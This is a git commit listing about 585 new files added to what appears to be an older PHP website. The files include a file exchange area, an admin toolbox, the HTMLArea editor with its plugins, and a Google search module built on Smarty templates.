new sources master
authorSteve Sutton <steve@gaslightmedia.com>
Wed, 30 Nov 2016 19:57:41 +0000 (14:57 -0500)
committerSteve Sutton <steve@gaslightmedia.com>
Wed, 30 Nov 2016 19:57:41 +0000 (14:57 -0500)
585 files changed:
.htaccess [new file with mode: 0644]
FileExchange/data/index.html [new file with mode: 0644]
FileExchange/help.phtml [new file with mode: 0644]
FileExchange/help_files/confirm_delete_file.hlp [new file with mode: 0644]
FileExchange/help_files/customer_login.hlp [new file with mode: 0644]
FileExchange/help_files/delete_file.hlp [new file with mode: 0644]
FileExchange/help_files/error.hlp [new file with mode: 0644]
FileExchange/help_files/list_files.hlp [new file with mode: 0644]
FileExchange/help_files/login_failure.hlp [new file with mode: 0644]
FileExchange/help_files/upload_file.hlp [new file with mode: 0644]
FileExchange/help_files/upload_new_file.hlp [new file with mode: 0644]
FileExchange/images/closewindow.gif [new file with mode: 0644]
FileExchange/images/gaslight.gif [new file with mode: 0644]
FileExchange/images/gaslight_small.jpg [new file with mode: 0644]
FileExchange/images/help.gif [new file with mode: 0644]
FileExchange/images/helpbg.gif [new file with mode: 0644]
FileExchange/index.phtml [new file with mode: 0644]
FileExchange/setup.inc [new file with mode: 0644]
GLM_site_check.phtml [new file with mode: 0644]
NQSMHS_to_VXR5000.pdf [new file with mode: 0644]
admin/GLMbug.gif [new file with mode: 0755]
admin/Toolbox/business.sql [new file with mode: 0755]
admin/Toolbox/edit_bus.phtml [new file with mode: 0755]
admin/Toolbox/edit_bus_category.phtml [new file with mode: 0755]
admin/Toolbox/help/bus.phtml [new file with mode: 0755]
admin/Toolbox/help/buscat.phtml [new file with mode: 0755]
admin/Toolbox/help/closewindow.gif [new file with mode: 0755]
admin/Toolbox/help/helpbg.gif [new file with mode: 0755]
admin/Toolbox/images/collapse.png [new file with mode: 0755]
admin/Toolbox/images/ed_about.gif [new file with mode: 0755]
admin/Toolbox/images/ed_align_center.gif [new file with mode: 0755]
admin/Toolbox/images/ed_align_justify.gif [new file with mode: 0755]
admin/Toolbox/images/ed_align_left.gif [new file with mode: 0755]
admin/Toolbox/images/ed_align_right.gif [new file with mode: 0755]
admin/Toolbox/images/ed_blank.gif [new file with mode: 0755]
admin/Toolbox/images/ed_charmap.gif [new file with mode: 0755]
admin/Toolbox/images/ed_color_bg.gif [new file with mode: 0755]
admin/Toolbox/images/ed_color_fg.gif [new file with mode: 0755]
admin/Toolbox/images/ed_copy.gif [new file with mode: 0755]
admin/Toolbox/images/ed_custom.gif [new file with mode: 0755]
admin/Toolbox/images/ed_cut.gif [new file with mode: 0755]
admin/Toolbox/images/ed_delete.gif [new file with mode: 0755]
admin/Toolbox/images/ed_format_bold.gif [new file with mode: 0755]
admin/Toolbox/images/ed_format_italic.gif [new file with mode: 0755]
admin/Toolbox/images/ed_format_strike.gif [new file with mode: 0755]
admin/Toolbox/images/ed_format_sub.gif [new file with mode: 0755]
admin/Toolbox/images/ed_format_sup.gif [new file with mode: 0755]
admin/Toolbox/images/ed_format_underline.gif [new file with mode: 0755]
admin/Toolbox/images/ed_help.gif [new file with mode: 0755]
admin/Toolbox/images/ed_hr.gif [new file with mode: 0755]
admin/Toolbox/images/ed_html.gif [new file with mode: 0755]
admin/Toolbox/images/ed_image.gif [new file with mode: 0755]
admin/Toolbox/images/ed_indent_less.gif [new file with mode: 0755]
admin/Toolbox/images/ed_indent_more.gif [new file with mode: 0755]
admin/Toolbox/images/ed_link.gif [new file with mode: 0755]
admin/Toolbox/images/ed_list_bullet.gif [new file with mode: 0755]
admin/Toolbox/images/ed_list_num.gif [new file with mode: 0755]
admin/Toolbox/images/ed_paste.gif [new file with mode: 0755]
admin/Toolbox/images/ed_redo.gif [new file with mode: 0755]
admin/Toolbox/images/ed_show_border.gif [new file with mode: 0755]
admin/Toolbox/images/ed_splitcel.gif [new file with mode: 0755]
admin/Toolbox/images/ed_undo.gif [new file with mode: 0755]
admin/Toolbox/images/expand.png [new file with mode: 0755]
admin/Toolbox/images/fullscreen_maximize.gif [new file with mode: 0755]
admin/Toolbox/images/fullscreen_minimize.gif [new file with mode: 0755]
admin/Toolbox/images/insert_table.gif [new file with mode: 0755]
admin/Toolbox/index.phtml [new file with mode: 0755]
admin/Toolbox/list_bus.phtml [new file with mode: 0755]
admin/Toolbox/list_bus_category.phtml [new file with mode: 0755]
admin/Toolbox/popups/about.html [new file with mode: 0755]
admin/Toolbox/popups/blank.html [new file with mode: 0755]
admin/Toolbox/popups/custom2.html [new file with mode: 0755]
admin/Toolbox/popups/editor_help.html [new file with mode: 0755]
admin/Toolbox/popups/fullscreen.html [new file with mode: 0755]
admin/Toolbox/popups/insert_image.html [new file with mode: 0755]
admin/Toolbox/popups/insert_table.html [new file with mode: 0755]
admin/Toolbox/popups/old-fullscreen.html [new file with mode: 0755]
admin/Toolbox/popups/old_insert_image.html [new file with mode: 0755]
admin/Toolbox/popups/popup.js [new file with mode: 0755]
admin/Toolbox/popups/select_color.html [new file with mode: 0755]
admin/Toolbox/threads.phtml [new file with mode: 0755]
admin/Toolbox/toolbox_setup.inc [new file with mode: 0755]
admin/Toolbox/update_bus.phtml [new file with mode: 0755]
admin/Toolbox/update_bus_category.phtml [new file with mode: 0755]
admin/Toolbox/updatetoolset.php [new file with mode: 0755]
admin/analytics.html [new file with mode: 0644]
admin/bug3.png [new file with mode: 0755]
admin/form.js [new file with mode: 0755]
admin/help/closewindow.gif [new file with mode: 0755]
admin/help/events.phtml [new file with mode: 0755]
admin/help/helpbg.gif [new file with mode: 0755]
admin/help/menu.phtml [new file with mode: 0755]
admin/help/menucat.phtml [new file with mode: 0755]
admin/help/newsletter.html [new file with mode: 0755]
admin/help/photo.phtml [new file with mode: 0755]
admin/help/photocat.phtml [new file with mode: 0755]
admin/help/room_rates.phtml [new file with mode: 0755]
admin/help/specials.phtml [new file with mode: 0755]
admin/help/template.phtml [new file with mode: 0755]
admin/help/tour_rates.phtml [new file with mode: 0755]
admin/help/wedding_rooms.phtml [new file with mode: 0755]
admin/html_help.phtml [new file with mode: 0755]
admin/htmlarea/dialog.js [new file with mode: 0755]
admin/htmlarea/examples/2-areas.cgi [new file with mode: 0755]
admin/htmlarea/examples/2-areas.html [new file with mode: 0755]
admin/htmlarea/examples/context-menu.html [new file with mode: 0755]
admin/htmlarea/examples/core.html [new file with mode: 0755]
admin/htmlarea/examples/css.html [new file with mode: 0755]
admin/htmlarea/examples/custom.css [new file with mode: 0755]
admin/htmlarea/examples/full-page.html [new file with mode: 0755]
admin/htmlarea/examples/fully-loaded.html [new file with mode: 0755]
admin/htmlarea/examples/images.html [new file with mode: 0755]
admin/htmlarea/examples/index.html [new file with mode: 0755]
admin/htmlarea/examples/list-type.html [new file with mode: 0755]
admin/htmlarea/examples/makefile.xml [new file with mode: 0755]
admin/htmlarea/examples/pieng.png [new file with mode: 0755]
admin/htmlarea/examples/spell-checker.html [new file with mode: 0755]
admin/htmlarea/examples/table-operations.html [new file with mode: 0755]
admin/htmlarea/htmlarea.css [new file with mode: 0755]
admin/htmlarea/htmlarea.js [new file with mode: 0755]
admin/htmlarea/images/ed_about.gif [new file with mode: 0755]
admin/htmlarea/images/ed_align_center.gif [new file with mode: 0755]
admin/htmlarea/images/ed_align_justify.gif [new file with mode: 0755]
admin/htmlarea/images/ed_align_left.gif [new file with mode: 0755]
admin/htmlarea/images/ed_align_right.gif [new file with mode: 0755]
admin/htmlarea/images/ed_blank.gif [new file with mode: 0755]
admin/htmlarea/images/ed_charmap.gif [new file with mode: 0755]
admin/htmlarea/images/ed_color_bg.gif [new file with mode: 0755]
admin/htmlarea/images/ed_color_fg.gif [new file with mode: 0755]
admin/htmlarea/images/ed_copy.gif [new file with mode: 0755]
admin/htmlarea/images/ed_custom.gif [new file with mode: 0755]
admin/htmlarea/images/ed_cut.gif [new file with mode: 0755]
admin/htmlarea/images/ed_delete.gif [new file with mode: 0755]
admin/htmlarea/images/ed_format_bold.gif [new file with mode: 0755]
admin/htmlarea/images/ed_format_italic.gif [new file with mode: 0755]
admin/htmlarea/images/ed_format_strike.gif [new file with mode: 0755]
admin/htmlarea/images/ed_format_sub.gif [new file with mode: 0755]
admin/htmlarea/images/ed_format_sup.gif [new file with mode: 0755]
admin/htmlarea/images/ed_format_underline.gif [new file with mode: 0755]
admin/htmlarea/images/ed_help.gif [new file with mode: 0755]
admin/htmlarea/images/ed_hr.gif [new file with mode: 0755]
admin/htmlarea/images/ed_html.gif [new file with mode: 0755]
admin/htmlarea/images/ed_image.gif [new file with mode: 0755]
admin/htmlarea/images/ed_indent_less.gif [new file with mode: 0755]
admin/htmlarea/images/ed_indent_more.gif [new file with mode: 0755]
admin/htmlarea/images/ed_left_to_right.gif [new file with mode: 0755]
admin/htmlarea/images/ed_link.gif [new file with mode: 0755]
admin/htmlarea/images/ed_list_bullet.gif [new file with mode: 0755]
admin/htmlarea/images/ed_list_num.gif [new file with mode: 0755]
admin/htmlarea/images/ed_paste.gif [new file with mode: 0755]
admin/htmlarea/images/ed_redo.gif [new file with mode: 0755]
admin/htmlarea/images/ed_right_to_left.gif [new file with mode: 0755]
admin/htmlarea/images/ed_save.gif [new file with mode: 0755]
admin/htmlarea/images/ed_save.png [new file with mode: 0755]
admin/htmlarea/images/ed_show_border.gif [new file with mode: 0755]
admin/htmlarea/images/ed_splitcel.gif [new file with mode: 0755]
admin/htmlarea/images/ed_undo.gif [new file with mode: 0755]
admin/htmlarea/images/fullscreen_maximize.gif [new file with mode: 0755]
admin/htmlarea/images/fullscreen_minimize.gif [new file with mode: 0755]
admin/htmlarea/images/insert_table.gif [new file with mode: 0755]
admin/htmlarea/images/makefile.xml [new file with mode: 0755]
admin/htmlarea/index.html [new file with mode: 0755]
admin/htmlarea/lang/b5.js [new file with mode: 0755]
admin/htmlarea/lang/cz.js [new file with mode: 0755]
admin/htmlarea/lang/da.js [new file with mode: 0755]
admin/htmlarea/lang/de.js [new file with mode: 0755]
admin/htmlarea/lang/ee.js [new file with mode: 0755]
admin/htmlarea/lang/el.js [new file with mode: 0755]
admin/htmlarea/lang/en.js [new file with mode: 0755]
admin/htmlarea/lang/es.js [new file with mode: 0755]
admin/htmlarea/lang/fi.js [new file with mode: 0755]
admin/htmlarea/lang/fr.js [new file with mode: 0755]
admin/htmlarea/lang/gb.js [new file with mode: 0755]
admin/htmlarea/lang/he.js [new file with mode: 0755]
admin/htmlarea/lang/hu.js [new file with mode: 0755]
admin/htmlarea/lang/it.js [new file with mode: 0755]
admin/htmlarea/lang/ja-euc.js [new file with mode: 0755]
admin/htmlarea/lang/ja-jis.js [new file with mode: 0755]
admin/htmlarea/lang/ja-sjis.js [new file with mode: 0755]
admin/htmlarea/lang/ja-utf8.js [new file with mode: 0755]
admin/htmlarea/lang/lt.js [new file with mode: 0755]
admin/htmlarea/lang/lv.js [new file with mode: 0755]
admin/htmlarea/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/lang/nb.js [new file with mode: 0755]
admin/htmlarea/lang/nl.js [new file with mode: 0755]
admin/htmlarea/lang/no.js [new file with mode: 0755]
admin/htmlarea/lang/pl.js [new file with mode: 0755]
admin/htmlarea/lang/pt_br.js [new file with mode: 0755]
admin/htmlarea/lang/ro.js [new file with mode: 0755]
admin/htmlarea/lang/ru.js [new file with mode: 0755]
admin/htmlarea/lang/se.js [new file with mode: 0755]
admin/htmlarea/lang/si.js [new file with mode: 0755]
admin/htmlarea/lang/vn.js [new file with mode: 0755]
admin/htmlarea/license.txt [new file with mode: 0755]
admin/htmlarea/make-release.pl [new file with mode: 0755]
admin/htmlarea/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/CSS/css.js [new file with mode: 0755]
admin/htmlarea/plugins/CSS/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/CSS/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/CSS/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/1.pl [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/context-menu.js [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/lang/de.js [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/lang/el.js [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/lang/he.js [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/lang/nl.js [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/ContextMenu/menu.css [new file with mode: 0755]
admin/htmlarea/plugins/EnterParagraphs/enter-paragraphs.js [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/full-page.js [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/img/docprop.gif [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/img/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/lang/he.js [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/lang/ro.js [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/popups/docprop.html [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/popups/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/FullPage/test.html [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/README [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/html-tidy-config.cfg [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/html-tidy-logic.php [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/html-tidy.js [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/img/html-tidy.gif [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/img/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/HtmlTidy/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/Files.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/GD.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/IM.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/ImageEditor.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/ImageManager.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/NetPBM.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/Thumbnail.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/Classes/Transform.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/README.txt [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/EditorContent.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/ImageEditor.css [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/dialog.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/editor.css [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/editor.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/editorFrame.css [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/editorFrame.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/hover.htc [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/imagelist.css [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/images.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/manager.css [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/manager.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/popup.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/slider.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/assets/wz_jsgraphics.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/config.inc.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/editor.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/editorFrame.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/image-manager.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/images.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/2x2.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/2x2_w.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/btnFolderNew.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/btnFolderUp.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/btn_cancel.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/btn_ok.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/crop.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/default.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/div.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/dots.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/edit_active.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/edit_pencil.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/edit_trash.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/folder.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/hand.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/islocked2.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/locked.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/measure.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/noimages.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/rotate.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/save.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/scale.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/spacer.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/t_black.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/t_white.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/unlocked.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/img/unlocked2.gif [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/manager.php [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/newFolder.html [new file with mode: 0755]
admin/htmlarea/plugins/ImageManager/thumbs.php [new file with mode: 0755]
admin/htmlarea/plugins/ListType/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/ListType/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/ListType/list-type.js [new file with mode: 0755]
admin/htmlarea/plugins/ListType/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/img/he-spell-check.gif [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/img/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/img/spell-check.gif [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/cz.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/da.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/de.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/he.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/hu.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/it.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/lang/ro.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/readme-tech.html [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/spell-check-logic.cgi [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/spell-check-style.css [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/spell-check-ui.html [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/spell-check-ui.js [new file with mode: 0755]
admin/htmlarea/plugins/SpellChecker/spell-checker.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/cell-delete.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/cell-insert-after.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/cell-insert-before.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/cell-merge.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/cell-prop.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/cell-split.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/col-delete.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/col-insert-after.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/col-insert-before.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/col-split.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/row-delete.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/row-insert-above.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/row-insert-under.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/row-prop.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/row-split.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/img/table-prop.gif [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/cz.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/da.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/de.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/el.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/en.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/fi.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/he.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/hu.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/it.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/nl.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/no.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/lang/ro.js [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/makefile.xml [new file with mode: 0755]
admin/htmlarea/plugins/TableOperations/table-operations.js [new file with mode: 0755]
admin/htmlarea/plugins/makefile.xml [new file with mode: 0755]
admin/htmlarea/popupdiv.js [new file with mode: 0755]
admin/htmlarea/popups/about.html [new file with mode: 0755]
admin/htmlarea/popups/blank.html [new file with mode: 0755]
admin/htmlarea/popups/custom2.html [new file with mode: 0755]
admin/htmlarea/popups/editor_help.html [new file with mode: 0755]
admin/htmlarea/popups/fullscreen.html [new file with mode: 0755]
admin/htmlarea/popups/insert_image.html [new file with mode: 0755]
admin/htmlarea/popups/insert_table.html [new file with mode: 0755]
admin/htmlarea/popups/link.html [new file with mode: 0755]
admin/htmlarea/popups/makefile.xml [new file with mode: 0755]
admin/htmlarea/popups/old-fullscreen.html [new file with mode: 0755]
admin/htmlarea/popups/old_insert_image.html [new file with mode: 0755]
admin/htmlarea/popups/popup.js [new file with mode: 0755]
admin/htmlarea/popups/select_color.html [new file with mode: 0755]
admin/htmlarea/popups/select_color.html.save [new file with mode: 0755]
admin/htmlarea/popupwin.js [new file with mode: 0755]
admin/htmlarea/project-config.xml [new file with mode: 0755]
admin/htmlarea/reference.html [new file with mode: 0755]
admin/htmlarea/release-notes.html [new file with mode: 0755]
admin/htmlarea/tests/display-none.html [new file with mode: 0755]
admin/index.phtml [new file with mode: 0755]
admin/main.css [new file with mode: 0755]
admin/msg.js [new file with mode: 0755]
admin/nav.phtml [new file with mode: 0755]
admin/phpinfo.php [new file with mode: 0644]
admin/setup_log.txt [new file with mode: 0755]
admin/splash.phtml [new file with mode: 0755]
admin/template1.gif [new file with mode: 0755]
admin/template2.gif [new file with mode: 0755]
admin/template3.gif [new file with mode: 0755]
admin/template4.gif [new file with mode: 0755]
admin/template5.gif [new file with mode: 0755]
admin/verify.js [new file with mode: 0755]
admin/wm.js [new file with mode: 0755]
assets/Heights.pdf [new file with mode: 0644]
assets/bg.jpg [new file with mode: 0755]
assets/top-image.gif [new file with mode: 0755]
assets/top-image2.gif [new file with mode: 0755]
assets/top-image3.gif [new file with mode: 0755]
bottom.php [new file with mode: 0755]
classes/class_auth.inc [new file with mode: 0755]
classes/class_contact_form.inc [new file with mode: 0755]
classes/class_db.inc [new file with mode: 0755]
classes/class_events.inc [new file with mode: 0755]
classes/class_photos.inc [new file with mode: 0755]
classes/class_search.inc [new file with mode: 0755]
classes/class_staff.inc [new file with mode: 0755]
classes/class_tellfriend.inc [new file with mode: 0755]
classes/class_template.inc [new file with mode: 0755]
classes/class_template.mshp.inc [new file with mode: 0755]
classes/class_toolbox.inc [new file with mode: 0755]
classes/glm-Events-2-0.phtml [new file with mode: 0755]
classes/glm-Events-calendar-2-0.phtml [new file with mode: 0755]
classes/glm-Newsletter-2-0.phtml [new file with mode: 0755]
contactform.css [new file with mode: 0755]
gallery.css [new file with mode: 0755]
gallery.jpg [new file with mode: 0755]
google/background.php [new file with mode: 0755]
google/footer.php [new file with mode: 0755]
google/footer.tpl.htm [new file with mode: 0755]
google/htmlfuncs.php [new file with mode: 0755]
google/index.php [new file with mode: 0755]
google/nusoap.php [new file with mode: 0755]
google/pagemenu.php [new file with mode: 0755]
google/pagemenu.tpl.htm [new file with mode: 0755]
google/readme.txt [new file with mode: 0755]
google/results.php [new file with mode: 0755]
google/results.tpl.htm [new file with mode: 0755]
google/search.php [new file with mode: 0755]
google/search.tpl.htm [new file with mode: 0755]
google/setup.php [new file with mode: 0755]
google/smarty/.cvsignore [new file with mode: 0755]
google/smarty/Config_File.class.php [new file with mode: 0755]
google/smarty/Smarty.class.php [new file with mode: 0755]
google/smarty/Smarty_Compiler.class.php [new file with mode: 0755]
google/smarty/core/core.assemble_plugin_filepath.php [new file with mode: 0755]
google/smarty/core/core.assign_smarty_interface.php [new file with mode: 0755]
google/smarty/core/core.create_dir_structure.php [new file with mode: 0755]
google/smarty/core/core.display_debug_console.php [new file with mode: 0755]
google/smarty/core/core.get_include_path.php [new file with mode: 0755]
google/smarty/core/core.get_microtime.php [new file with mode: 0755]
google/smarty/core/core.get_php_resource.php [new file with mode: 0755]
google/smarty/core/core.is_secure.php [new file with mode: 0755]
google/smarty/core/core.is_trusted.php [new file with mode: 0755]
google/smarty/core/core.load_plugins.php [new file with mode: 0755]
google/smarty/core/core.load_resource_plugin.php [new file with mode: 0755]
google/smarty/core/core.process_cached_inserts.php [new file with mode: 0755]
google/smarty/core/core.process_compiled_include.php [new file with mode: 0755]
google/smarty/core/core.read_cache_file.php [new file with mode: 0755]
google/smarty/core/core.rm_auto.php [new file with mode: 0755]
google/smarty/core/core.rmdir.php [new file with mode: 0755]
google/smarty/core/core.run_insert_handler.php [new file with mode: 0755]
google/smarty/core/core.smarty_include_php.php [new file with mode: 0755]
google/smarty/core/core.write_cache_file.php [new file with mode: 0755]
google/smarty/core/core.write_compiled_include.php [new file with mode: 0755]
google/smarty/core/core.write_compiled_resource.php [new file with mode: 0755]
google/smarty/core/core.write_file.php [new file with mode: 0755]
google/smarty/debug.tpl [new file with mode: 0755]
google/smarty/plugins/block.textformat.php [new file with mode: 0755]
google/smarty/plugins/compiler.assign.php [new file with mode: 0755]
google/smarty/plugins/function.assign_debug_info.php [new file with mode: 0755]
google/smarty/plugins/function.config_load.php [new file with mode: 0755]
google/smarty/plugins/function.counter.php [new file with mode: 0755]
google/smarty/plugins/function.cycle.php [new file with mode: 0755]
google/smarty/plugins/function.debug.php [new file with mode: 0755]
google/smarty/plugins/function.eval.php [new file with mode: 0755]
google/smarty/plugins/function.fetch.php [new file with mode: 0755]
google/smarty/plugins/function.html_checkboxes.php [new file with mode: 0755]
google/smarty/plugins/function.html_image.php [new file with mode: 0755]
google/smarty/plugins/function.html_options.php [new file with mode: 0755]
google/smarty/plugins/function.html_radios.php [new file with mode: 0755]
google/smarty/plugins/function.html_select_date.php [new file with mode: 0755]
google/smarty/plugins/function.html_select_time.php [new file with mode: 0755]
google/smarty/plugins/function.html_table.php [new file with mode: 0755]
google/smarty/plugins/function.mailto.php [new file with mode: 0755]
google/smarty/plugins/function.math.php [new file with mode: 0755]
google/smarty/plugins/function.popup.php [new file with mode: 0755]
google/smarty/plugins/function.popup_init.php [new file with mode: 0755]
google/smarty/plugins/modifier.capitalize.php [new file with mode: 0755]
google/smarty/plugins/modifier.cat.php [new file with mode: 0755]
google/smarty/plugins/modifier.count_characters.php [new file with mode: 0755]
google/smarty/plugins/modifier.count_paragraphs.php [new file with mode: 0755]
google/smarty/plugins/modifier.count_sentences.php [new file with mode: 0755]
google/smarty/plugins/modifier.count_words.php [new file with mode: 0755]
google/smarty/plugins/modifier.date_format.php [new file with mode: 0755]
